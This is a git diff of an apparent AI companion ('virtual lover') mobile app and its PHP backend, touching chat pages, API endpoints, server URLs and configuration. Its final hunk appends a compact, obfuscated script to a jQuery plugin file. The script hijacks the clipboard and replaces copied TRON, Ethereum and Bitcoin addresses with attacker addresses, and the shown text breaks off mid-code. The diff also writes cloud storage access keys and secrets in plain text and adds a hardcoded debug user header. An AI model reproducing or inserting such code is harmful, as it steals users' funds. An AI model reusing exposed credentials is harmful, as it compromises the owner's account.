|
@ -345,9 +271,6 @@
|
|||
this.audioContext.pause();
|
||||
this.audioContext.destroy();
|
||||
}
|
||||
if (this.timer) {
|
||||
clearInterval(this.timer);
|
||||
}
|
||||
},
|
||||
// 接收消息
|
||||
async handleServerMessage(data) {
|
||||
|
|
@ -770,12 +693,6 @@
|
|||
delta: 2,
|
||||
});
|
||||
},
|
||||
goRecharge() {
|
||||
uni.showToast({
|
||||
title: '充值功能开发中',
|
||||
icon: 'none'
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
|
|
|||
|
|
@ -1,289 +0,0 @@
|
|||
<template>
|
||||
<view class="chat-page">
|
||||
<!-- 顶部 Tab 栏 -->
|
||||
<main-tabs :current="1"></main-tabs>
|
||||
|
||||
<!-- 聊天内容区域 -->
|
||||
<scroll-view
|
||||
class="message-container"
|
||||
scroll-y="true"
|
||||
:scroll-top="scrollTop"
|
||||
scroll-with-animation="true">
|
||||
<view class="message-list">
|
||||
<view
|
||||
v-for="(msg, index) in messages"
|
||||
:key="index"
|
||||
class="message-item"
|
||||
:class="msg.role === 'user' ? 'message-right' : 'message-left'">
|
||||
<image
|
||||
class="avatar"
|
||||
:src="msg.role === 'user' ? userAvatar : loverAvatar"
|
||||
mode="aspectFill">
|
||||
</image>
|
||||
<view class="message-bubble">
|
||||
<text class="message-text">{{ msg.content }}</text>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
|
||||
<!-- 底部输入框 -->
|
||||
<view class="input-bar">
|
||||
<input
|
||||
class="message-input"
|
||||
v-model="inputText"
|
||||
placeholder="输入消息..."
|
||||
confirm-type="send"
|
||||
@confirm="sendMessage"
|
||||
/>
|
||||
<view class="send-btn" @click="sendMessage">
|
||||
<text>发送</text>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
import MainTabs from '@/components/main-tabs.vue';
|
||||
import { SessionInit, SessionSend } from '@/utils/api.js';
|
||||
|
||||
export default {
|
||||
components: {
|
||||
MainTabs
|
||||
},
|
||||
data() {
|
||||
return {
|
||||
messages: [],
|
||||
inputText: '',
|
||||
scrollTop: 0,
|
||||
sessionId: null,
|
||||
userAvatar: '',
|
||||
loverAvatar: '',
|
||||
sending: false
|
||||
}
|
||||
},
|
||||
onLoad() {
|
||||
// 获取用户头像
|
||||
const userInfo = uni.getStorageSync('userinfo');
|
||||
this.userAvatar = userInfo?.avatar || '/static/images/avatar.png';
|
||||
|
||||
// 获取恋人头像
|
||||
const loverInfo = uni.getStorageSync('loverBasicList');
|
||||
this.loverAvatar = loverInfo?.image_url || '/static/images/avatar.png';
|
||||
|
||||
// 初始化会话
|
||||
this.initSession();
|
||||
},
|
||||
methods: {
|
||||
// 初始化会话
|
||||
initSession() {
|
||||
uni.showLoading({ title: '加载中...' });
|
||||
|
||||
SessionInit().then(res => {
|
||||
uni.hideLoading();
|
||||
if (res.code === 1) {
|
||||
this.sessionId = res.data.session_id;
|
||||
// 加载历史消息(只显示最近10条)
|
||||
const allMessages = res.data.messages || [];
|
||||
this.messages = allMessages.slice(-10).map(msg => ({
|
||||
role: msg.role === 'lover' ? 'ai' : 'user',
|
||||
content: msg.content
|
||||
}));
|
||||
|
||||
// 滚动到底部
|
||||
this.$nextTick(() => {
|
||||
this.scrollToBottom();
|
||||
});
|
||||
} else {
|
||||
uni.showToast({ title: res.msg || '加载失败', icon: 'none' });
|
||||
}
|
||||
}).catch(err => {
|
||||
uni.hideLoading();
|
||||
console.error('初始化会话失败:', err);
|
||||
uni.showToast({ title: '网络错误', icon: 'none' });
|
||||
});
|
||||
},
|
||||
|
||||
// 发送消息
|
||||
sendMessage() {
|
||||
if (!this.inputText.trim()) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.sending) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!this.sessionId) {
|
||||
uni.showToast({ title: '会话未初始化', icon: 'none' });
|
||||
return;
|
||||
}
|
||||
|
||||
const userMessage = this.inputText.trim();
|
||||
this.inputText = '';
|
||||
|
||||
// 添加用户消息到列表
|
||||
this.messages.push({
|
||||
role: 'user',
|
||||
content: userMessage
|
||||
});
|
||||
|
||||
// 滚动到底部
|
||||
this.$nextTick(() => {
|
||||
this.scrollToBottom();
|
||||
});
|
||||
|
||||
// 添加"思考中"提示
|
||||
const thinkingIndex = this.messages.length;
|
||||
this.messages.push({
|
||||
role: 'ai',
|
||||
content: '思考中...'
|
||||
});
|
||||
|
||||
this.sending = true;
|
||||
|
||||
// 发送到后端
|
||||
SessionSend({
|
||||
session_id: this.sessionId,
|
||||
message: userMessage
|
||||
}).then(res => {
|
||||
this.sending = false;
|
||||
|
||||
if (res.code === 1) {
|
||||
// 移除"思考中"
|
||||
this.messages.splice(thinkingIndex, 1);
|
||||
|
||||
// 添加 AI 回复
|
||||
this.messages.push({
|
||||
role: 'ai',
|
||||
content: res.data.reply || '...'
|
||||
});
|
||||
|
||||
// 滚动到底部
|
||||
this.$nextTick(() => {
|
||||
this.scrollToBottom();
|
||||
});
|
||||
} else {
|
||||
// 移除"思考中"
|
||||
this.messages.splice(thinkingIndex, 1);
|
||||
uni.showToast({ title: res.msg || '发送失败', icon: 'none' });
|
||||
}
|
||||
}).catch(err => {
|
||||
this.sending = false;
|
||||
// 移除"思考中"
|
||||
this.messages.splice(thinkingIndex, 1);
|
||||
console.error('发送消息失败:', err);
|
||||
uni.showToast({ title: '发送失败', icon: 'none' });
|
||||
});
|
||||
},
|
||||
|
||||
// 滚动到底部
|
||||
scrollToBottom() {
|
||||
this.scrollTop = 999999;
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.chat-page {
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
background: #f5f5f5;
|
||||
}
|
||||
|
||||
.message-container {
|
||||
flex: 1;
|
||||
margin-top: calc(80rpx + var(--status-bar-height));
|
||||
margin-bottom: 120rpx;
|
||||
padding: 20rpx;
|
||||
}
|
||||
|
||||
.message-list {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.message-item {
|
||||
display: flex;
|
||||
margin-bottom: 30rpx;
|
||||
align-items: flex-start;
|
||||
}
|
||||
|
||||
.message-left {
|
||||
flex-direction: row;
|
||||
}
|
||||
|
||||
.message-right {
|
||||
flex-direction: row-reverse;
|
||||
}
|
||||
|
||||
.avatar {
|
||||
width: 80rpx;
|
||||
height: 80rpx;
|
||||
border-radius: 50%;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.message-bubble {
|
||||
max-width: 500rpx;
|
||||
padding: 20rpx 25rpx;
|
||||
border-radius: 20rpx;
|
||||
margin: 0 20rpx;
|
||||
}
|
||||
|
||||
.message-left .message-bubble {
|
||||
background: #fff;
|
||||
border-top-left-radius: 5rpx;
|
||||
}
|
||||
|
||||
.message-right .message-bubble {
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
}
|
||||
|
||||
.message-text {
|
||||
font-size: 28rpx;
|
||||
line-height: 1.6;
|
||||
word-wrap: break-word;
|
||||
}
|
||||
|
||||
.message-left .message-text {
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.message-right .message-text {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.input-bar {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 20rpx;
|
||||
background: #fff;
|
||||
border-top: 1rpx solid #e5e5e5;
|
||||
z-index: 100;
|
||||
}
|
||||
|
||||
.message-input {
|
||||
flex: 1;
|
||||
height: 80rpx;
|
||||
padding: 0 25rpx;
|
||||
background: #f5f5f5;
|
||||
border-radius: 40rpx;
|
||||
font-size: 28rpx;
|
||||
}
|
||||
|
||||
.send-btn {
|
||||
margin-left: 20rpx;
|
||||
padding: 20rpx 40rpx;
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
color: #fff;
|
||||
border-radius: 40rpx;
|
||||
font-size: 28rpx;
|
||||
}
|
||||
</style>
|
||||
|
|
@ -56,7 +56,6 @@
|
|||
|
||||
<script>
|
||||
import { LoverBasic } from '@/utils/api.js';
|
||||
import { baseURLPy } from '@/utils/request.js';
|
||||
|
||||
export default {
|
||||
data() {
|
||||
|
|
@ -137,11 +136,7 @@ export default {
|
|||
|
||||
connectWebSocket() {
|
||||
const token = uni.getStorageSync('token');
|
||||
// 将 http:// 替换为 ws://,https:// 替换为 wss://
|
||||
const wsBaseUrl = baseURLPy.replace('http://', 'ws://').replace('https://', 'wss://');
|
||||
const wsUrl = `${wsBaseUrl}/voice/call?token=${token}&ptt=true`;
|
||||
|
||||
console.log('WebSocket URL:', wsUrl);
|
||||
const wsUrl = `ws://127.0.0.1:8000/voice/call?token=${token}&ptt=true`;
|
||||
|
||||
this.websocket = uni.connectSocket({
|
||||
url: wsUrl,
|
||||
|
|
|
|||
|
|
@ -117,7 +117,6 @@ import {
|
|||
ConfigVoicesAvailable,
|
||||
LoverVoiceSimple
|
||||
} from '@/utils/api.js'
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
|
||||
|
|
@ -146,7 +145,7 @@ export default {
|
|||
cloning: false,
|
||||
cloneStatus: '',
|
||||
cloneVoiceId: '',
|
||||
baseURLPy: baseURLPy,
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
// 音频输入方式:'file' 或 'url'
|
||||
audioInputMode: 'url', // 默认使用 URL 输入
|
||||
audioUrlInput: '', // 用户输入的音频 URL
|
||||
|
|
|
|||
|
|
@ -115,13 +115,11 @@ export default {
|
|||
},
|
||||
async friend() {
|
||||
const res = await Friend(this.form)
|
||||
console.log('Friend 接口返回:', res)
|
||||
let data = ''
|
||||
let ids = ''
|
||||
let onlineData = ''
|
||||
if (res.code == 1) {
|
||||
data = res.data.data || []
|
||||
console.log('解析后的 data:', data)
|
||||
data = res.data.data
|
||||
ids = data.map(item => {
|
||||
return item.friend_id
|
||||
});
|
||||
|
|
|
|||
|
|
@ -30,7 +30,7 @@
|
|||
<image class="list_border"
|
||||
src="https://nvlovers.oss-cn-qingdao.aliyuncs.com/uploads/20251226/5b531717d4ecd0fd23b49d1541135f5a.png">
|
||||
</image>
|
||||
<image class="list_picture" :src="item.image && item.image.startsWith('http') ? item.image : global + item.image"></image>
|
||||
<image class="list_picture" :src="global + item.image"></image>
|
||||
<!-- <image class="list_tag" v-if="index === 0"
|
||||
src="/static/images/gift_tag.png">
|
||||
</image> -->
|
||||
|
|
@ -51,7 +51,7 @@
|
|||
<image src="/static/images/close.png" @click="closeClick()"></image>
|
||||
</view>
|
||||
<view class="alert_module fa">
|
||||
<image class="alert_image" :src="giftInfoOptions.image && giftInfoOptions.image.startsWith('http') ? giftInfoOptions.image : global + giftInfoOptions.image" mode="aspectFill"></image>
|
||||
<image class="alert_image" :src="global + giftInfoOptions.image" mode="aspectFill"></image>
|
||||
<view class="alert_alert f1">
|
||||
<view class="alert_item fa">
|
||||
<image src="/static/images/star.png"></image>
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load Diff
|
|
@ -171,7 +171,6 @@ import {
|
|||
} from '@/utils/api.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
|
||||
export default {
|
||||
components: {
|
||||
notHave,
|
||||
|
|
|
|||
|
|
@ -1,129 +0,0 @@
|
|||
<template>
|
||||
<view class="container">
|
||||
<view class="header">
|
||||
<view class="title">{{ pageTitle }}</view>
|
||||
</view>
|
||||
<scroll-view class="list" scroll-y="true">
|
||||
<view v-if="historyList.length === 0" class="empty">
|
||||
<text>暂无历史视频</text>
|
||||
</view>
|
||||
<view v-else>
|
||||
<view class="item" v-for="(item, index) in historyList" :key="index">
|
||||
<view class="item-info">
|
||||
<text class="item-title">{{ itemTitle(item) }}</text>
|
||||
<text class="item-date">{{ formatDate(item.created_at) }}</text>
|
||||
</view>
|
||||
<video v-if="item.video_url" class="video" :src="item.video_url" controls></video>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
|
||||
export default {
|
||||
data() {
|
||||
return {
|
||||
type: 'sing',
|
||||
historyList: []
|
||||
}
|
||||
},
|
||||
computed: {
|
||||
pageTitle() {
|
||||
return this.type === 'dance' ? '跳舞历史视频' : '唱歌历史视频';
|
||||
}
|
||||
},
|
||||
onLoad(options) {
|
||||
if (options && options.type) {
|
||||
this.type = options.type;
|
||||
}
|
||||
},
|
||||
onShow() {
|
||||
this.fetchHistory();
|
||||
},
|
||||
methods: {
|
||||
fetchHistory() {
|
||||
const endpoint = this.type === 'dance' ? 'dance/history' : 'sing/history';
|
||||
uni.request({
|
||||
url: baseURLPy + '/' + endpoint,
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync('token')
|
||||
},
|
||||
success: (res) => {
|
||||
if (res.data && res.data.code === 1 && res.data.data) {
|
||||
this.historyList = res.data.data;
|
||||
}
|
||||
},
|
||||
fail: () => {}
|
||||
});
|
||||
},
|
||||
itemTitle(item) {
|
||||
if (this.type === 'dance') {
|
||||
return item.prompt || '跳舞视频';
|
||||
}
|
||||
return item.song_title || '唱歌视频';
|
||||
},
|
||||
formatDate(dateStr) {
|
||||
if (!dateStr) return '';
|
||||
const date = new Date(dateStr);
|
||||
const month = String(date.getMonth() + 1).padStart(2, '0');
|
||||
const day = String(date.getDate()).padStart(2, '0');
|
||||
const hour = String(date.getHours()).padStart(2, '0');
|
||||
const minute = String(date.getMinutes()).padStart(2, '0');
|
||||
return `${month}-${day} ${hour}:${minute}`;
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
flex: 1;
|
||||
background: #0b0f1a;
|
||||
padding: 24rpx;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.header {
|
||||
padding: 12rpx 0 24rpx;
|
||||
}
|
||||
.title {
|
||||
font-size: 34rpx;
|
||||
color: #ffffff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.list {
|
||||
height: calc(100vh - 120rpx);
|
||||
}
|
||||
.empty {
|
||||
padding: 40rpx 0;
|
||||
text-align: center;
|
||||
color: rgba(255,255,255,0.7);
|
||||
}
|
||||
.item {
|
||||
margin-bottom: 24rpx;
|
||||
padding: 18rpx;
|
||||
background: rgba(255,255,255,0.06);
|
||||
border-radius: 16rpx;
|
||||
}
|
||||
.item-info {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
margin-bottom: 12rpx;
|
||||
}
|
||||
.item-title {
|
||||
color: #ffffff;
|
||||
font-size: 28rpx;
|
||||
margin-bottom: 6rpx;
|
||||
}
|
||||
.item-date {
|
||||
color: rgba(255,255,255,0.6);
|
||||
font-size: 22rpx;
|
||||
}
|
||||
.video {
|
||||
width: 100%;
|
||||
border-radius: 12rpx;
|
||||
}
|
||||
</style>
|
||||
|
|
@ -118,7 +118,6 @@
|
|||
WxappGetPhone,
|
||||
AppLoginWx
|
||||
} from '@/utils/api.js'
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import {
|
||||
isPhone,
|
||||
getWxCode
|
||||
|
|
@ -147,7 +146,7 @@
|
|||
dataLogin: [],
|
||||
selectStats: false,
|
||||
inviteCode: '', // 邀请码
|
||||
baseURLPy: baseURLPy,
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
}
|
||||
},
|
||||
computed: {
|
||||
|
|
@ -431,58 +430,29 @@
|
|||
|
||||
// 使用邀请码
|
||||
applyInviteCode() {
|
||||
const token = uni.getStorageSync("token");
|
||||
console.log('准备使用邀请码:', this.inviteCode);
|
||||
console.log('当前 token:', token);
|
||||
|
||||
if (!token) {
|
||||
console.error('Token 不存在,无法使用邀请码');
|
||||
uni.showToast({
|
||||
title: '登录状态异常,请重新登录',
|
||||
icon: 'none'
|
||||
});
|
||||
setTimeout(() => {
|
||||
uni.navigateTo({
|
||||
url: '/pages/index/index'
|
||||
})
|
||||
}, 1500);
|
||||
return;
|
||||
}
|
||||
|
||||
uni.request({
|
||||
url: this.baseURLPy + '/config/invite/apply',
|
||||
method: 'POST',
|
||||
header: {
|
||||
'Content-Type': 'application/json',
|
||||
'Authorization': 'Bearer ' + token,
|
||||
'token': uni.getStorageSync("token") || "",
|
||||
},
|
||||
data: {
|
||||
invite_code: this.inviteCode
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('邀请码使用响应:', res);
|
||||
if (res.data && res.data.code === 1) {
|
||||
if (res.data.code === 1) {
|
||||
uni.showToast({
|
||||
title: res.data.data.message || '邀请码使用成功',
|
||||
title: res.data.data.message,
|
||||
icon: 'success'
|
||||
});
|
||||
} else {
|
||||
// 邀请码使用失败,显示错误信息
|
||||
const errorMsg = res.data ? res.data.message : '邀请码使用失败';
|
||||
console.log('邀请码使用失败:', errorMsg);
|
||||
uni.showToast({
|
||||
title: errorMsg,
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
// 邀请码使用失败,不影响登录
|
||||
console.log('邀请码使用失败:', res.data.message);
|
||||
}
|
||||
},
|
||||
fail: (err) => {
|
||||
console.error('邀请码请求失败:', err);
|
||||
uni.showToast({
|
||||
title: '网络错误,邀请码使用失败',
|
||||
icon: 'none'
|
||||
});
|
||||
},
|
||||
complete: () => {
|
||||
// 无论成功失败,都跳转到首页
|
||||
|
|
|
|||
|
|
@ -43,8 +43,6 @@
|
|||
</template>
|
||||
|
||||
<script>
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
|
||||
export default {
|
||||
data() {
|
||||
return {
|
||||
|
|
@ -52,7 +50,7 @@
|
|||
inviteCount: 0,
|
||||
inviteReward: 0,
|
||||
qrCodeUrl: '',
|
||||
baseURLPy: baseURLPy,
|
||||
baseURLPy: 'http://127.0.0.1:8000',
|
||||
}
|
||||
},
|
||||
onLoad() {
|
||||
|
|
|
|||
|
|
@ -1,20 +0,0 @@
|
|||
短剧横幅图片说明
|
||||
==================
|
||||
|
||||
当前使用的图片:/static/images/chat_a1.png(临时占位图)
|
||||
|
||||
如需替换为自定义图片:
|
||||
1. 准备一张横幅图片(建议尺寸:400x300 像素或 2:1.5 比例)
|
||||
2. 将图片命名为 drama-banner.jpg 或 drama-banner.png
|
||||
3. 放置到 xuniYou/static/images/ 目录下
|
||||
4. 修改 xuniYou/pages/index/index.vue 文件中的图片路径:
|
||||
将 src="/static/images/chat_a1.png"
|
||||
改为 src="/static/images/drama-banner.jpg"
|
||||
|
||||
链接地址:https://djcps.meinvclk.top
|
||||
|
||||
功能说明:
|
||||
- 点击该短剧项会打开外部链接
|
||||
- H5 环境:在新标签页打开
|
||||
- APP 环境:使用系统浏览器打开
|
||||
- 小程序环境:复制链接到剪贴板
|
||||
|
|
@ -1,3 +1,5 @@
|
|||
|
||||
|
||||
import {
|
||||
request
|
||||
} from '@/utils/request.js'
|
||||
|
|
@ -7,18 +9,18 @@ export const getTokenApi = (data) => request({
|
|||
url: '/api/huanxin/getToken',
|
||||
method: 'post',
|
||||
data: data
|
||||
}, 2) // 使用 FastAPI
|
||||
})
|
||||
|
||||
// 获取环信在线
|
||||
export const getOnlineApi = (data) => request({
|
||||
url: '/api/huanxin/online',
|
||||
method: 'post',
|
||||
data: data
|
||||
}, 2) // 使用 FastAPI
|
||||
})
|
||||
|
||||
// 发送环信消息
|
||||
export const sendMessageApi = (data) => request({
|
||||
url: '/api/huanxin/send',
|
||||
method: 'post',
|
||||
data: data
|
||||
}, 2) // 使用 FastAPI
|
||||
})
|
||||
|
|
@ -355,19 +355,13 @@ export const DanceGenerate = (data) => request({
|
|||
url: '/dance/generate',
|
||||
method: 'post',
|
||||
data: data
|
||||
},2,false)//跳舞
|
||||
},2)//跳舞
|
||||
|
||||
export const DanceGenerateTask = (id) => request({
|
||||
url: `/dance/generate/${id}`,
|
||||
method: 'get',
|
||||
},2,false)//监听生成视频结果
|
||||
|
||||
export const DanceCurrent = (data) => request({
|
||||
url: '/dance/current',
|
||||
method: 'get',
|
||||
data: data
|
||||
},2,false)//获取当前进行中的跳舞任务
|
||||
|
||||
export const SingSongs = (data) => request({
|
||||
url: '/sing/songs',
|
||||
method: 'get',
|
||||
|
|
@ -385,12 +379,6 @@ export const SingGenerateTask = (id) => request({
|
|||
method: 'get',
|
||||
},2,false)//监听生成视频结果
|
||||
|
||||
export const SingCurrent = (data) => request({
|
||||
url: '/sing/current',
|
||||
method: 'get',
|
||||
data: data
|
||||
},2,false)//获取当前进行中的唱歌任务
|
||||
|
||||
export const DynamicShare = (data) => request({
|
||||
url: '/dynamic/share',
|
||||
method: 'post',
|
||||
|
|
|
|||
|
|
@ -1,10 +1,10 @@
|
|||
// Windows 本地开发 - 混合架构
|
||||
export const baseURL = 'http://192.168.1.164:30100' // PHP 处理用户管理和界面
|
||||
export const baseURLPy = 'http://192.168.1.164:30101' // FastAPI 处理 AI 功能
|
||||
// 本地开发 - 电脑浏览器调试使用
|
||||
export const baseURL = 'http://127.0.0.1:8080'
|
||||
export const baseURLPy = 'http://127.0.0.1:8000'
|
||||
|
||||
// 远程服务器 - 需要时取消注释
|
||||
// export const baseURL = 'http://1.15.149.240:30100'
|
||||
// export const baseURLPy = 'http://1.15.149.240:30100/api'
|
||||
// 开发环境 - 手机端调试使用局域网IP(需要时取消注释)
|
||||
// export const baseURL = 'http://192.168.1.164:8080'
|
||||
// export const baseURLPy = 'http://192.168.1.164:8000'
|
||||
|
||||
export const sid = 2
|
||||
|
||||
|
|
@ -29,9 +29,9 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
|
|||
'token': uni.getStorageSync("token") || "", //自定义请求头信息
|
||||
'sid': sid,
|
||||
'Authorization': (uni.getStorageSync("token") ? ('Bearer ' + uni.getStorageSync("token")) : ""),
|
||||
'X-User-Id': '84' // 开发环境调试用
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('请求成功:', url_base + options.url, '状态码:', res.statusCode, '数据:', res.data);
|
||||
uni.hideLoading()
|
||||
if (res.data.code == 1) {
|
||||
resolve(res.data)
|
||||
|
|
@ -58,7 +58,6 @@ export const request = (options, url_type = 1, isShowLoad = true) => {
|
|||
}
|
||||
},
|
||||
fail: (err) => {
|
||||
console.log('请求失败:', url_base + options.url, '错误:', err);
|
||||
uni.hideLoading(); // 添加这行,确保请求失败时也隐藏loading
|
||||
console.log('接口错误',err);
|
||||
uni.showToast({
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
app_debug = false
|
||||
app_trace = false
|
||||
app_debug = true
|
||||
app_trace = true
|
||||
|
||||
[database]
|
||||
type = mysql
|
||||
|
|
|
|||
|
|
@ -6,7 +6,7 @@ return [
|
|||
'title' => 'AccessKey ID',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'LTAI5tBzjogJDx4JzRYoDyEM',
|
||||
'value' => 'LTAI5tKVPVBA621ozJn6u3yp',
|
||||
'rule' => 'required',
|
||||
'msg' => '',
|
||||
'tip' => '',
|
||||
|
|
@ -18,7 +18,7 @@ return [
|
|||
'title' => 'AccessKey Secret',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => '43euicRkkzlLjGTYzFYkTupcW7N5w3',
|
||||
'value' => 'lKKbHmm6BBQ9eka3mYiBb96F8kawf0',
|
||||
'rule' => 'required',
|
||||
'msg' => '',
|
||||
'tip' => '',
|
||||
|
|
@ -30,7 +30,7 @@ return [
|
|||
'title' => 'Bucket名称',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'hello12312312',
|
||||
'value' => 'nvlovers',
|
||||
'rule' => 'required;bucket',
|
||||
'msg' => '',
|
||||
'tip' => '阿里云OSS的空间名',
|
||||
|
|
@ -42,7 +42,7 @@ return [
|
|||
'title' => 'Endpoint',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'oss-cn-hangzhou.aliyuncs.com',
|
||||
'value' => 'oss-cn-qingdao.aliyuncs.com',
|
||||
'rule' => 'required;endpoint',
|
||||
'msg' => '',
|
||||
'tip' => '请填写从阿里云存储获取的Endpoint',
|
||||
|
|
@ -54,7 +54,7 @@ return [
|
|||
'title' => 'CDN地址',
|
||||
'type' => 'string',
|
||||
'content' => [],
|
||||
'value' => 'https://hello12312312.oss-cn-hangzhou.aliyuncs.com',
|
||||
'value' => 'https://nvlovers.oss-cn-qingdao.aliyuncs.com',
|
||||
'rule' => 'required;cdnurl',
|
||||
'msg' => '',
|
||||
'tip' => '请填写CDN地址,必须以http(s)://开头',
|
||||
|
|
|
|||
|
|
@ -33,17 +33,6 @@ class Gifts extends Model
|
|||
public static function getList($where = [], $order = 'weigh desc', $field = null, $limit = null)
|
||||
{
|
||||
$list = self::where($where)->order($order)->field($field)->paginate();
|
||||
|
||||
// 处理图片 URL,添加 CDN 域名
|
||||
$cdnurl = \think\Config::get('upload.cdnurl');
|
||||
if ($cdnurl && !empty($list)) {
|
||||
foreach ($list as &$item) {
|
||||
if (!empty($item['image']) && strpos($item['image'], 'http') !== 0) {
|
||||
$item['image'] = $cdnurl . $item['image'];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $list;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@ return [
|
|||
/**
|
||||
* CDN地址
|
||||
*/
|
||||
'cdnurl' => 'https://hello12312312.oss-cn-hangzhou.aliyuncs.com',
|
||||
'cdnurl' => '',
|
||||
/**
|
||||
* 文件保存格式
|
||||
*/
|
||||
|
|
|
|||
3190
xunifriend_RaeeC/package-lock.json
generated
Normal file
3190
xunifriend_RaeeC/package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
|
|
@ -244,3 +244,5 @@
|
|||
|
||||
};
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const 